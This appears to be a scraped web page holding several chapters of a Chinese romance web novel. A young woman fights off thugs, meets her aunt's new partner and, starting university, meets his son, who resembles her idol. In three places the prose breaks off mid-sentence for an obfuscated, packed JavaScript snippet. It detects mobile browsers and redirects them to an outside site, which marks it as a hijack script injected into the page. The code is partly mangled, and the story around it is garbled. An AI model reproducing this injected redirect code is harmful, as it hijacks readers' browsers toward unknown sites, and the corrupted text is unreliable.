“小妞够脾气啊，这等姿色在大庆可不容易见着。兄弟们，要不要和她们玩玩？”为首黄毛少年跳下车，紧接着另外三个也跳下车。 这会儿方晴晴怂了，平常都是在网络上大放阙词，可没说现实里这么说话要被打的呀，“许，许诗下一步怎么办？” “撑个二十分种，估计老许这时候早出发了？” “果然留有后手，紧急救援了？” 许诗挺直身子，小时候被奶奶带大，不少和村里各种混混打交道，加上自己也跆拳道黑.道二段选手，初三那年还参加了国际比赛，虽然没得奖，但对付这几个面黄肌瘦的小混混胜率还是有的。 “你站后点，我要是跪了，你就大喊救命。”她比黄毛提前踏出一步，在气势上占领了先机。 方晴晴乖乖后退，给许诗留出施展空间，“我可以提前叫喊，先吓吓他们。” “理论正确！”她不想和人发生冲突，但是也没理由忍受侮辱。 “呦呦呦，胆子够大的。”说完几个男的围上来，勾唇，摩拳擦掌，“兄弟们热热身！” 许诗扫一眼，找到个破口处，没等人反应过来，一脚把黄毛踢了成歪嘴战神，鞋拔子印狠狠落在脸上，嘴角渗出血渍，痛得黄毛连连哎呦。 大庆这地方和印度差不多，穷人和富人两级分化，恰好这里正是交界处，晚上没什么人行走，和这些小混混讲不了道理，越低微他们越放肆，不能软着来。 “臭婆娘！不识好歹！”说完全部涌上来，一个个像要吞了她们，许诗即便是黑.道二段，一打二还有胜算，但面临绝对的力量，还是有点悬。 方晴晴晓得指令，歇斯底里大喊，“救命啊，救命啊！” 许诗瞄了下手表，距离救兵赶到还有差不多十五分钟，现在得先拖住他们，为了减少不必要的身体对抗，智取，“四打一，不公平，这地头是你们的吧，说出去不得笑死。”人还是作战姿态，没有一丝松懈。 “知道这地头是我们的，那还敢挑衅爷几个，不怕，我有的是办法让你们说不了话，趁现在还有叫的机会，可别停了。” 不怕黄毛是流氓，就怕黄毛有脑子，他这是认定没人来。 方晴晴打了个惊嗝，“那可咋整，我俩今天不会就折在这了，高考的分数还没出，我死不瞑目……” “你小声点，实在不行，我数三声。” 黄毛男看到了方晴晴怂样，“原来是纸老虎，怎么是地上的石子不够多？”他走进许诗，身形很明显比许诗壮点，吩咐其他哥几个，“把臭婆娘给我抓住。” 话毕许诗从身后飞扔出四个大石子，直往人脑门上砸，小时候她可是打水漂冠军，很轻易命中目标。 “跑！” 几人脑震荡好一会儿，睁开眼没影儿了，“敢耍我，给我追！” 许诗体能好，跑得不比男生慢，但方晴晴自小就不爱运动，没两步就气喘吁吁，刚刚喊救命还花了不少力气。 “不行了，不行了，许诗你跑，去喊救兵。” “你还想不想知道高考成绩了，再撑一会，老许就来了。”俩人没命地往前跑，最后还是被黄毛给追上，手里还拿着大木棍，啪嗒啪嗒作威，“不是挺有能耐的吗，跑啊！” 正准备往许诗砸过去，背后亮起一道圣神光辉，车声鸣鸣。 “老许！”许诗迎着光大喊，“方晴晴！救兵来了。” 黄毛瞧着人来势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765184|174546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汹汹，看车型是高级货，万一得罪了富人，那准得吃不了兜着走，“该死的，你俩别让我再看见，走走走。”骑上摩托跑了。 车上的男人逆着光走来。 “那不是你爸。”方晴晴心一惊，还没从刚刚的噩耗中出来，“该不会再来个另外打劫的吧。” 许诗看身形确实不是老许，男人，很高，看不清样子，有点熟悉，她还不敢放下戒备。 “我们不该多管闲事。”另外一个看着稍矮点的中年男人说道，“这地方地头蛇猖獗，自成一派，万一出了点什么事情，不好和老爷交代，况且面具没戴……” 完后驶过来两辆车，许诗认出来，那是自家的车，“老许你可算来了。” “自家人，怎么都要帮。竟然人来了，我们走吧。”光线投射在男人脸上，齿间满是笑意，“你去提个醒。” “是。”司机和男人说。 任许诗和方晴晴怎么也看不出到底是谁，像是在交代点什么。 不等人费力琢磨，男人便转身走回车长。 这时老许匆匆赶来，侧面视线正好和男人对上，看着和许诗年纪差不多，想细瞧一眼，被司机拦了下来，“人没事了，这地方不安全，大晚上还是少走。” “谢谢你们啊。” “没事没事，你姑娘估计惊吓不少，快回去吧。”说完就开车走了。 老许摸不着脑袋，嘀咕，“怎么知道是我孩子？”也没多想，女儿安全最重要。 “你俩没事吧。”老吴一看到许诗的求救短信，差点吓出心脏病。 方晴晴惊魂未定，人都呆住了，许诗还是一贯冷，面上没太多表情，“跆拳道没白学。” 老吴正闷哼一声，准备教育一番，身后传来呜咽，“许诗，许爸爸，我今天不会去了，要是给我爸知道，那一定会打断我的腿。”方晴晴抱着许诗，这是真给吓到了。 “呜呜不哭不哭，这也不是我们能控制的对不？” 俩人在唱戏呢。 老许看了出来，见人哭了也不好再责怪，“方毕那边我来说，先回去吧，你妈在家很担心。” “老爸英明！” “还笑得出来，明天一五一十给我说清楚！”说完把人赶上车。 “演技真好。” “你配合得好。” “都不赖。” “都不赖。” 俩人打了一场配合赛。 “嘀嘀咕咕什么呢。”老许脸上阴云密布，问许诗，“刚刚那男人是谁？” “不知道，某个路见不平拔刀相助的英雄吧。”许诗也在思考，背影熟悉，和他偶像身形很像，不过也不可能，柯柏坤不是大庆人，没理由来这里。 “嗯。不是什么坏人就好。” “对了，明天家族聚餐，你小姑带男朋友过来，你好好谢谢人家。” “小姑回国了？还带了姑丈？”许诗最佩服她小姑，她是国内最出色的珠宝设计师，前段时间就在巴黎开个人珠宝展览会，许诗因为高考没能去，还遗憾了好久。另外一个就是小姑的恋爱观，简直和她完全相反，说终身不恋爱，一旦找到那必然是真命天子。 “还是不是姑丈，对方有个孩子和你差不多大，哎。” “你爸爸不满意。”方晴晴一路听下来，总结出结论，小声说，“想让你帮忙劝劝。” “恋爱自由，婚姻自由，人生自由，我相信小姑的眼光。” 5. 高考成绩 第二天中午，许诗送完方晴晴回去，一家三口已经准备好迎接远来的客人。 老许多多少少心里有气，自从父母亲去世之后，就剩他兄妹俩相依为命，许孜秦一直都在国外，许向远操着父亲的心，不少劝说这人的一生，想结婚就结婚，别因为世俗眼光，给自己找个不爱的人将就。 如今唯一的妹妹就这么一声不吭带回个男朋友，老许昨晚睡不着，今儿顶着个大黑眼圈，愣是跟许诗要了粉底遮挡。 吴女士看在眼里，一边帮忙理顺衣领，一边吐槽，“说是要给人家点颜色瞧瞧，还精心装扮，我看你别精神分裂了。” “总归是客人，我那是要见妹妹。” “是是是，眉头也遮遮，都愁出川字了。”说完母女二人在许向远脸上倒腾了不少东西。 每每打国际长途，许诗总能听到老许声情并茂说，“父母虽然不在了，有哥，要是在外面累了，就回国来，我养你。” 电话另外一端不胜其扰，许孜秦也知道大哥担忧，“我在英国挺好的，朋友多，也有我喜欢的事业，有空就回去看你和嫂子。” 许向远虽然明面说支持妹妹单身自由，是怕给人骗，其实还是希望人老之后能有个依靠，总不能做一辈子的女强人，兄弟姐妹也好，年老落寞之际也得要个互相扶持的老伴。 完后转身对许诗教育，“人生之路还是得走得合规合距，你向我和你妈看齐。” 许诗不敢顶嘴，不是觉得老许思想迂腐陈旧，大男子主义，也不是觉得都多少世纪了还秉持这种靠别人才能带来幸福的想法委实不妥，而是她觉得婚姻家庭没错，至少在她的成长上没见过爸妈争吵，俩人还时常在自己面前腻歪，小事大事一起商量，平凡又细致的生活，确实也有股和诗和远方不同的魅力。 她安慰老许，贴心锤锤腿，开解他不要太过忧心，小姑享受这种生活才好，“二老恩爱夫妻的典范，女儿定是紧跟随后。” 这才把人逗笑。 家族宴在大庆的一家五星级酒店举行，规格不算奢华，但名声还不错，大众点评上排得上榜首。 “你看你爸，哪里像个大学教授的样子，别喝了。”吴女士看他把水都喝了几壶，对许向远说，“到咱女儿见婿，你怎么办。” 许诗一凝，“太早了。” “这不还有你吗，我闹心，缓解缓解。”老许深眯眼，仿佛就要面临什么不得已的事，半刻又喝上一杯，思考几秒又觉得不对，耷拉着个脸对许诗说，“学业重要。” 许诗乖乖坐在父母身边，身子倾斜椅背，看着菜单，今天穿了件白色连衣裙，高丸子头，两小撮碎发别在耳后，脸上没有因为今天见客人而袒露多过情感。 她有时候觉得老许是矛盾体，懂了之后才发现，其实所有的不安情绪都来源于爱人，一方面怕至亲离了家，在外过不好，另一方面又怕老无所依，这才整天担忧，相反吴女士过得洒脱，一切以自由为主。 要不喊着老许，大概率这饭得跑几趟厕所了，许诗声音轻轻，“老爸再灌下去，该是不停跑厕所了。” 这话一落，“哎，对对对，我得先处理下。” 剩下母女俩哭笑不得。 没多久小姑她们到了，服务员带去私人宴会厅，一家人坐下来，很快就结束了大人之间的客气交谈。知道了两人在一次珠宝拍卖会上认识，柯暨明作为天使投资人，想借助此机会物色有灵性的中式设计师，恰好看中了孜秦的星空指环，以百万的价格买下，两人很是投缘，自然而然就在一起。 许诗一旁给她们倒茶，听下来对这个姑丈有了大致了解，确实是小姑喜欢的类型。 就连老许也赞不绝口，吴女士也在一旁察言观色，许诗瞧着二老很是满意。 许孜秦拉着许诗小手，“恭喜你就要成为大学生了，听你爸说昨夜在路上遇到歹徒，没再叨叨了吧。” 老许和姑丈聊着，从儿时记事到商业风口，可谓一见如故，听闻孜秦调侃，压多久的气都涌上来，“你不早告诉我找了……”望了一眼柯暨明，又不好真的生怒，“她从小就有主见，许诗你旅游得找个人一起。” “小姑，我好不容易劝好的……” “这会儿我站你爸，一个人是不安全，对了，暨明的儿子也是和你一个学校，什么时候介绍他们两人认识。”孜秦挽着柯暨明的手，亲密无间。 “这小子原本也要来，不巧临时学校找他有事，早早就回去了，我给你微信，到时候你们上大学也有个照应。”柯暨明拿出手机拨到分享界面。 许诗知道长辈的心思，但她考虑到之后莫名其妙的尴尬，正想婉拒来着，给老许一盯，怕又恼怒了她父亲大人，还是乖乖应下了。 triE，微信名。 她点开了头像，戴着暗黄色鸭舌帽的少年迎风而立，面朝大海，有艘废旧船舶静静躺在沙滩上，给人孤独寂寥感。 添加好友信息:你好，我是许诗。 点了发送把手机放回兜里。 发送过去一直没通过，时间过去之久，大概是她没想起来有加过谁。 直到她旅游回来，差不多也到了开学时候，老许不知道这么想起来这桩事，正帮她收拾开学要用的东西。 “你姑丈儿子，联系了没，他哪天去报道你问问。” 许诗这才一拍脑瓜想起来，冷冷说，“没加上，应该是，人家没同意。” 凌乱的碎发垂在双颊上，几滴细汗渗出，卧室衣物横七竖八，她得在开学前找出所有柯柏坤的小卡和娃娃，不能放在家里孤独。 吴女士出差三月，到国家剧院帮师妹师弟培训新人，留她和老许两个人，就差没把家都翻了。 “你仔细找找是不是放错地方了，我老腰痛歇歇。”大学生还没开学，老许也闲在家，等过几天得返校，好在他作为返聘教授，平时上课不多，要不然得天天住校。 转念一想，又说，“柯暨明人正直，估计儿子也不会差，可能是没注意吧，要是加上了，你还能时不时关心一下你小姑。” 许诗放下手里的活儿，老许这是又开始伤怀了，“老爸要是想小姑，我给你打视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765185|174546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 频。”她知道老许还是放心不下小姑在国外，但又觉得交了男朋友，今时不同往日，作为大哥的，还是少打听好。 老许深叹气，摆摆手，许诗捶着背，父女俩同时唉声叹气，“你上了大学，好久都不回来，一个人在外面，事事都留个心眼，你乖，但总不见得人人都好。” 许诗摸着老许的膝盖，是比以前瘦了些，近看发现白头发也多了几根，“放心，女儿受了二老正传，不会行差踏错。” 老许哈哈大笑，这点他倒是不担心。 这时候放在桌面的手机响起来，“是小姑。” “哈喽小姑。”许诗放远手机，屏幕正好容下两个人。 “欸许诗，你爸也在。对了，那个你加上你叔叔的儿子了没有，开学你俩得约好，叫他给你搬行李。”许孜秦叮嘱道。 许诗忘记了这茬子事，觉得贸然打扰人家不好，“没呢，开学老爸送我去。” 电话那一头嘀咕起来，估计叔叔也在旁边，“这孩子，没点上心，等他回来我说说。”是柯暨明的声音。 “没关系叔叔，不同专业可能都见不了几次，大学大家都忙。”她是越发觉得叔叔人好，可惜他儿子……反正许诗是不想因为双方家长的原因，硬要和人扯上什么关系。 俩人还在嘀嘀咕咕说着点什么，估计信号不太好，听不清。 许孜秦叮嘱了些注意事项，“给你爸爸说。” “老爸刚说到你。”许诗把手机给老许拿着，“你们聊，我去把开学用的东西收拾收拾。”说完小跑回房间，下午得去找方晴晴查高考分数。 —— 每年都同一个时间，同一个地点，许诗和方晴晴准点守在教育网，正输入准考证。 “别抖，我来输吧。” 方晴晴推开她的手，怪认真数着准考证编号，“不行，往年都是你输入才考不好，今年我要试试自己的手运。556……” “……” “行，那我不动了。”许诗没比她轻松，按照方毕的话，说状元的手矜贵，专门叫许诗摸摸，说不定能多几十分。 总之，他们父女俩都挺玄的。 手机亮了一下，微信来了信息，打开一看，是好友申请。 triE：你好许诗。 许诗记得这微信名，叔叔的儿子，话说直到现在都还不知道他叫啥名字。 这时候倒是自己来加了，谅她这么久怎么没说。 通过，把手机熄屏，放回包里。 “谁呀？” “……” “一个不认识的人。这时候你还能三心两意，分数出来没？”她凑近看。 方晴晴泄气说，“输了好几次，没公布分数，系统崩了吧，好煎熬呜呜呜。” 许诗接着查了一遍，强忍着喜悦，“省内排得上好名次，你就等着收到抢人的电话吧。” 方晴晴这才恍然大悟，差点跳起来，“啊啊啊啊，你是说，我考上了，并且是考得很不错？！” “嗯。不出意外的话，京大应该是稳了。” 6. 迎新 独属夏日的喧闹鸣蝉也终于在一场没预料的大雨中逐渐声消了一丝。 “方晴晴你快点，第一天报道，可别迟到了。”许诗一边催促着翻箱倒柜的方晴晴，一边利落搬出车内的行李，吃的用的，还有偶像小卡和玩偶一样不落，提醒老许别磕着碰着。 老许把老花镜提上鼻梁，抽了一张，打量，戴面具的男生在二女猛兽的逼迫下乖乖就范，平静说，“这新的？没见过。” 还略带些生醋，“方晴晴带你去强迫人家了？” “说什么呢，你女儿是这样的人？上次见面会拍的。”许诗探头出车尾箱，怀里抱着精装打包好的“偶像物品”。 “我看你平常对人爱答不理，对这小子倒是上心，平常少琢磨，学业要紧。”老许又把小卡投到太阳底下，有的没的提了一嘴，“这人怎么有点面熟。” “除了你女儿，他就是我们家第二个孩子了。”许诗调侃说，把东西都搬到校门口，头顶阳光刺眼，怎么来来回回几趟，有些累了，便坐在行李箱上休息一阵。 “谁？强迫谁？”风携带话吹了几番才传到方晴晴耳朵，人埋在行李堆里，正因为找不到校园卡而被方叔叔唠叨。 两人对话题很敏感，方毕先黑脸，冲着她鼻子说，“方晴晴你老实交代又强迫了谁，将来要考公的，好不容易上京大，你别犯傻留个坏名声。” “爸，你别听他们瞎说，你女儿优秀着呢，要不然怎么能考上国内顶尖大学。” 面对朗朗清风，总算是轻舟已过万重山，可被老爸这么一责难顿时又泄了气，“这自由云端还不是由父亲大人掌管，我都按照你意思报了教育专业，怎么还要干涉我的职业自由，老爸，你未免对我太苛刻了些。” “我不管着点能把你送上高等学府，不学学人家许诗，那许向远多省心。”方毕叨叨起来就没个停。 “好了，同学都看着呢。”她恨不得找个地缝钻进去，自从高考成绩出来后，他爸就变了个人一样，在亲戚朋友面前说她多优秀，是金子迟早发光，和她待一起时就各种批评。 天下的父母都一样。 “方毕你就别说她了，孩子谁也不输谁。”老许当个好人。 “谢谢许叔叔。”方晴晴故意提声。 说着把校园地图摸出来，足足得翻开个四五下，官方公布学校面积几千亩，得找好一阵。 “我校园卡找不到了，估计等会儿得去办，要不你们先走吧，教育系和计算机系好像不在一栋宿舍楼。” “也行，忙完了我去找你。”许诗说。 “嗯，待会儿见！”她已经迫不及待要投入这雀跃当中了！ “方晴晴不和我们一起了。”老许刚面完个老朋友，这会儿走回来。 许诗背上嫩黄双肩包，左侧该挂着他偶像的卡通布偶，“我们不在同一栋宿舍楼，叫我们先走。” 老许点点头，神情比刚才沉了些，手交叉在身后，“对了，抽空拜访下石老师，有什么事也能找他帮忙，三十年的革命友谊了，你别觉得不好意思，学业上有什么不懂，需要借鉴资料之类的，都找他。” 许诗嗯了一声，偷看老许，“不舍了？难过了？要帮我打点好？” “你这孩子，我情绪刚来！”说完轻哼了声，“石老师人好，当初落难时还是我引荐他来的京大，现在我闺女考上他大学，不得好好回报一下。” “好好好，我自当亲去拜访。” 开学人多，家长也多，学校怕堵塞通道，禁止开车进来，另外特地安排了大二大三学长学姐迎新。 许诗上身是白色修身短袖，肩头两侧修着素青碎花，穿了一条舒适宽松深蓝牛仔裤短裤，完全外露了那条笔直修长白的发光的美腿，飘逸的乌黑长发在风中飘扬，五官清冷又恰好精琢，御姐面下还藏不住的可人乖巧，因此格外惹眼，不少学姐学长第一时间都望向这边。 “同学你好，需要帮忙吗，我叫夏植暹，今年刚上大二。”说话的男生斯斯文文，戴着银框眼镜，整洁的纯黑T，手臂戴着白色冰袖，方正地往这边走来。 眸子很亮，算是在四眼里面，很好看的一双眼。 许诗历来对各种奇妙人类有极致的观察欲望，但这会儿根本没发现喊的是她。 “同学？许诗，许同学？”夏植暹挥挥手，在她脸上思忖了好一会儿，犹豫叫了名。 “您叫我？” 许诗这才发现喊的是自己，礼貌站起来，书包里面文具碎碎作响，双手自然贴在腰两侧，礼貌笑笑，“学长认识我？” 夏植暹长嗯了声，“如果我没有猜错的话，你是西津一中今年的榜一，我们校友群都传遍了，同根同宗，理应要过来帮忙。” “京都大学欢迎你。” 他说话有种老乡的亲切。 西津一中的大神几乎都来京大，在这碰到几个面熟的不难怪，但是被人先认出来，还是上一届的学长，这多少有些尴尬。 “都说西津是京大的培育室，一路过来听了不少乡音，倍感熟悉。学长好，我是许诗。” “这是你同学啊？”老许在旁边观察了好一阵。 夏植暹请示了一下许诗，点点头后和许向远说，“叔叔好，许诗的这些行李由我们帮着拿进去就好了，明德楼有专门招待家长的室内，叔叔不如先去那边休息一下，我看你们应该是从大庆过来的，路上疲乏，体力活这些就由我们来吧。” “也好，我不像你们年轻人这样走上走下了，腿脚是有些那许诗你们先把东西整理妥当，我去那边等你们，那夏同学，明德楼在哪里？” 夏植暹挥手喊了另外一个同学过来，许诗看着衣服后面印着学生会字样。 “会长，这是？” “我老乡。”夏植暹笑着介绍。 许诗点点头，“学长好。” “你带叔叔过去明德楼，我陪她拿行李过去。” “学妹好，学妹好，这事交给我，会长的老乡就是我的老乡。”少年总喜欢用勾肩搭背来表示友情。 “别贫了，赶紧去。” —— 要是硬说大学有什么地方和高中不一样，大抵就是路上少了很多行色匆匆的身影，更多像是冲破樊笼的自由鸟，挣脱开禁锢的枷锁，任由思绪飞扬，好奇打量这所即将生活四年的大学，甚至更长。 许诗抱着刚刚领好的书籍，差不多就是计算机一些理论和实操课程，足足有十五本。 两人往女生宿舍走着，小推车咔咔作响。 “怎么会想着读计算机专业，枯燥乏味的日常对女孩子可不友好，我那些计算机的同学整叫苦连天，头秃个半，我以为你会都人文艺术类，毕竟气质这块真的很像艺术家。”夏植暹在许诗右手边推着车，不时转头看她，一路上侃侃而谈。 “学长说笑了，我没艺术细胞，不过倒是对艺术家有兴趣，学长读的什么专业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765186|174546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？”许诗尽可能热情回答，对于老乡加施予援手加同校出来的陌生人而言，问有所答已经是她最积极的社交方式了。 “你猜猜，我看起来像适合研究什么方面的。” 许诗暗忖，真不愧是学生会的。 “土木的？” 夏植暹摇摇头，仿佛很享受被人探索，“差点，再猜。” “会长，你怎么在这里，不是被系里叫去慰问社区老人了吗，怎么……”迎面走过来的男同学望了眼许诗，嬉笑搞怪道，“原来是接学妹，她就是你说的那位？同校第一？” 夏植暹给他空挥一拳之后，吃瓜的就溜走了。 “学长专门来等的我？”许诗有些惊讶，毕竟她从未和西津一中任何一界的学长学姐有过交流，但夏植暹看起来对自己好像有过别的了解。 “算是也不算是吧，关于其他的，我们后面慢慢说，学妹要是有什么不懂，你就到管理系随便找个人问，他们都知道我平常会去哪儿。” 许诗听起来有些莫名其妙，但也没作多想，好像她们大庆那边出来的人，大多都会帮助同乡，“嗯嗯，谢谢学长。” 放好东西之后，夏植暹又带她去逛了校园，饭堂，图书馆，跑道，商业区，各院教学楼等等都走了一遍。 夏植远提意要不要一起出去外面吃个午饭，这时手机响了电话。 “等我一下。” 是老许。 “老爸，我这边刚忙完，我待会儿去找你。” 电话另一端吧唧着嘴，“柯叔儿子来找我了，在饭堂，你等下直接来吧。”电话里还有另外一个人的声音，“芳园二街。” 一个男子的声音。 好像在哪里听过。 “芳园二街的饭堂，我吃着等你。”说完便挂了电话。 许诗琢磨，老许就这么放弃她，一个人去逍遥自在了？ “怎么了。”夏植暹兜手问，“学校附近一家川菜还不错，我经常去吃。” “那个，对不起学长啊，我爸去饭堂了，我得先去找他，我们要不下次再约。”她多少有点不好意思。 “也行，要不我送你过去。” “不用了，我还认得路，学长有事的话先去忙吧，有空请你吃饭。” —— 京大的饭堂口碑是全国院校里排得上名的，许诗找了好大一圈都没看到老许。 “许诗，这儿呢。”老许朝她挥手。 “借过一下，借过一下。”她小心翼翼躲避行人，忙了大半个上午，肚子是有些饿了。 “鼎鼎有名的京大食堂，在外宣称五星级酒店的存在，与老妈手艺相比怎么样？”见老许还没动筷，隐约看到眼角未干的泪花，“干嘛呢，伤心过度吃不下？” 许向远恼她一眼，“你这孩子，人还没齐，你姑丈的儿子要过来见一面，人点完菜后出去，喊我们先吃。” 通过微信还没说上两句话，她几乎是忘记了这人，忽然又觉得能来一趟应该不是什么难相处的家伙，至少听话。 “我昨晚微信还问了，新生入学事多，说是没空来。”许诗对这个人没啥特别印象，大概是给人感觉是一副学了正经礼教，骨子里遗留些上古傲气的人。 “不好麻烦人家。” “估计是被姑丈架着过来的。” 老许喊她收着点说话，又自豪直肠子像他，终于这么忧伤了，“待会儿人家来了，好好说话！” 7. 菀菀类卿 新生入学将校园各小道围得水泄不通，直到裤兜里响起铃声，柯柏坤才越过人群把书放到树荫下的石凳处，掏出手机。 “爸。” “你见到孜秦的哥哥和她小侄女了？”柯暨明问。 他把人接过去饭堂，从二教领回课本，正准备往宿舍走，“见着叔叔了，刚领取新课本，有事得先回一趟宿舍。” “那好，女孩子背井离乡不熟悉，你照顾照顾。” “得了，你也注意身体，替我和许姨问好。” 完了柯暨明还叮嘱了几句别太累，注意休息便就挂了。 盛夏灼热如牢笼闷着，已经让不少家长怨言，蛮力用手当扇子，校方在各处准备了冰冻凉茶，一个接一个派到手中，这才驱走暑热。 “学长，这是给你的。”一个梳着双马尾的女孩子跟了他一路，碰到人坐下才敢羞涩上前问，旁边还有她小姐妹一边怂恿。 “音乐学理论，学长是艺术生？”少女怯生生偷看，猜是这样典雅气质的男生，一定和艺术类相关。 他抬头，阳光正好打在睫毛上，细细长倒映在眼窝，上面是澄澈汪泉，嘴角笑笑，“不是，兴趣爱好，谢了。” 喉咙咕噜，一口闷了下去，将喝完的空塑料被放在手心晃荡。 “给我吧。”女孩细声细语。 柯柏坤没听到，捏成一团，随手扔进垃圾箱。 女孩脸上晕起一层薄红，心事忽得像夏日连绵雨水，欲说还休，低眉稍有失落，收回了手。 “不打扰学长……”说完两人急急走。 还没等他解释自己并非大一新生，那女孩脸上烧红，捂着脸就跑开了。 还听着两人说不争气之类云云。 入学流程早在开学前一个星期他就办好，现在轻松得跟迎新学长一样，一路上有好几个人点头问“学长好”。 白净，混点痞帅，气质挂，穿什么像什么。 穿校服像个尊法守纪的三好学生。 又因为常年搞音乐，举手投足轻松有节调，整体有点斯文败类。 宽敞的四人间就他一人先到。 他先天对物品摆放极其严格，书桌上整理了一遍又一遍。 “406？”进来了个穿oversize男生，拖着行李箱，眉毛张扬地问柯柏坤。 一瞥，“嗯。” 歪头弯腰继续将课本分门别类。 “室友？高冷？”刚进来的男生打量那位冷面帅哥，虽然顶着一张羡煞旁人的脸，但这不是目中无人的理由。 柯柏坤勾嘴一笑，“算是吧。” “嘿bro，这里是梁康奇，youcancallmewolf。”新室友来了个炸场的自我介绍，结束还做了个撞肩动作，被柯柏坤躲开。 “这没意思了兄弟。” “狼，喜欢嘻哈说唱，衣服时兴，印着Libertarianism的胜利手势。” “还有签名，但是不是真的不敢确定。”柯柏坤看着他说。 “一眼就能看出来？识货啊bro。”梁康奇指着胸口签名，急着证明，“哥们儿你信我，这绝对是真的。” 柯柏坤笑笑，继续整理书桌上东西。 “唱跳歌手？外加演戏偶像？”梁康奇全方位观察，“和我最近关注的小鲜肉有点像。 “柯什么来着，兄弟你不会也姓柯吧。”往桌面学生卡一瞧，那纯撕拉片。 “柯然，没听说他有弟弟。”梁康奇盯着他的脸左右对比。 柯柏坤推开，往肩甩上书包，“走了，晚上见。” 许诗吃得起劲，老许慈祥看着，他这就放心了，就算离家，这孩子也不会饿着。 “慢点吃。” “京大食堂还真的挺好吃。“ “好吃就多吃，别放假回家都饿瘦了。“老许不停往许诗碗里夹菜，都堆放不下。 忽然想起来，“那叔叔的儿子，好像和你一样大，人瞧着干净阳光帅气，要是想帮忙，你也别不好意思。” 许诗嘴巴嚼着东西鼓鼓，假笑呵呵，“嗯嗯，我看根本就是柯叔叔强令下来，我看还是不麻烦好。” 高冷寡言，没礼貌，柯叔叔这么温文儒雅的男人，怎么会…… “嘿，你这孩子，刚刚才吃了人家的饭，忘本。” 两父女一笑一闹，没发现身后站着人。 “许叔叔。”冷峻的气息越过许诗头顶。 “欸，小柯来了，快坐快坐。”老许给许诗递眼神，叫她好好说话。 随后熟悉得跟自家一样，安排人坐下，“我们刚刚还聊起你来了。” 他笑笑，“嗯。” 空气中一阵沉默，些许尴尬。 那人一半身影折射在饭桌上，几缕碎发随风飘逸，灰沉沉的，不过从影子窥探，身形不差，估摸着是高长，薄肌那种。 后背凉飕飕的。 “许诗，给人打招呼。”老许扒拉晃手。 “你好，我叫许诗。”她恭恭敬敬起身，一贯冷淡，“谢学长招待。” 还没说完，巨高一团大剌剌坐下，肩上挂着的深蓝色单肩包垂到小臂，肱二头肌幽绿血脉蓬勃，张力满满 “嗯。” 刚才压在许诗头顶上的影子才敞亮开来。 看清楚面前的人。 对上那双深邃的眼神，许诗觉得她下一秒就要晕厥过去，脉搏心跳正常了十几年，还是头一次异常。 薄荷味难道也会使人头晕目眩吗，好好闻。 以至于某一瞬间好像见到了自己偶像。 柯？柏坤？ 她惊讶得哑声。 无论从外表还是气质上看，这和她偶像简直一模一样。 尚留的理智又强行将她脱拖出，反反复复和脑海中那面具重叠。 即便不是，菀菀类卿也很扎眼。 平常不喜男色的她，不得不承认，确实很帅。 “同学这是？犯病了？”坐着那人如之宾归，一副盛气凌人的模样，抬眉打量。 这哪能是她偶像，那个阳光体贴温暖的少年，怎么会是他…… 掩了掩书包。边上链条挂着的她，方晴晴和偶像三个人的合照。 拿起来看一眼，“错把你当旧人，确实一点不像，抱歉。” 柯柏坤瞥了眼那照片，嘴角一敛，唇边得意上扬。 虽然在半推半就的情况下拍摄，不过能将帅气拍出，证明技术还不错。 而那会儿选她当幸运观众，也是想怎么会有人笨得连外置闪光灯都忘记关。 后来见面会中途助理来说老爸要去的双人座位置，才知道那是许姨的侄女，并且要求给她们一个特别的夜晚。 于是就有了以下照片出处。 “还挺帅气。”他由衷赞美。 许诗眼一亮，频频点头，忽觉遇到知己，“英雄所见略同，小子眼光还不 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人情世故这方面她还是懂的，至少在老许他们面前，得表现出一副很感兴趣的样子。 二来相处时间短，也不能因为初次印象给人定了生死。 三来能承认他偶像优点的，再坏也坏不到哪里去。 最后单凭借那身和他偶像一样的气质，她还是很愿意去接触的。 柯柏坤旋眉，见人说人话，有意思。 弯腰起身，巨高一团打下阴暗，朝着许诗嗤声笑，“行，有什么事情找我，汉语言一班，柯然，还有，别将我再认作什么旧人。” 单手端起碗筷，“叔叔要没什么事我先走了。” “好孩子，替我问好你爸。” 大致俩人都说了什么场面话，来日方长之类。 许诗没听清楚，全往那张脸上看了。 干净的少年嗓音，适合深情演讲，但是不适合高亢呐喊。 许诗一顿分析。 她偶像也是这样。 “拜拜。“她也冲喊一句，只是为了让老许安心。 远亲不如近邻，这是老许一贯的看法。 望着远去的身影，肩宽窄腰。移目那双比自己命还长的大长腿，她还没见过走路这么有调律的人，不紧不慢，稳稳的又很松弛，好像天生自带自己的节奏。 再冲刚才的话，颇有种不稳定社会里，他能依赖的感觉。 “想什么呢。”老许拾掇碗筷准备走了。 